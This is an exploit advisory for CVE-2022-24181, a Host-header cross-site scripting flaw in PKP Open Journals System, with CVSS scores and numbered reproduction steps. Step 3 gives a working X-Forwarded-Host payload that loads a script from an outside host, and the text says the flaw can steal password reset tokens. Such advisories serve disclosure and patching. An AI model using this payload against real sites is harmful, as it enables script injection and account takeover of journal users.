PKP Open Journals System 3.3 - Cross-Site Scripting (XSS)

2022-04-1900:00:00

Hemant Kashyap

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215

4.3 Medium

CVSS2

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

PARTIAL

Availability Impact

NONE

AV:N/AC:M/Au:N/C:N/I:P/A:N

6.1 Medium

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

CHANGED

Confidentiality Impact

LOW

Integrity Impact

LOW

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

6.3 Medium

AI Score

Confidence

High

0.002 Low

EPSS

Percentile

64.5%

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# Exploit Title: PKP Open Journals System 3.3 - Cross-Site Scripting (XSS)
# Date: 31/01/2022
# Exploit Author: Hemant Kashyap
# Vendor Homepage: https://github.com/pkp/pkp-lib/issues/7649
# Version: PKP Open Journals System 2.4.8 >= 3.3
# Tested on: All OS
# CVE : CVE-2022-24181
# References: https://youtu.be/v8-9evO2oVg

XSS via Host Header injection and Steal Password Reset Token of another user Step to reproduce:

  1)  Go to this site: https://who's-using-ojs-software.com
  2)  And capture this request in burp , and send to repeater.
  3)  Add this after Host Header X-Forwarded-Host: foo"><script src=//dtf.pw/2.js></script><x=".com
  4) And this click on send , after this right click on request and click on show response in browser , after this copy the request.
  5) Paste this request in browser , and you'll see xss pop-up. Mitigation: Update to newer version.

 This vulnerability in PKP vendor software Open-journal-system version 2.4.8 to 3.3.8 all are vulnerable to xss via Host Header injection and steal password reset token vulnerability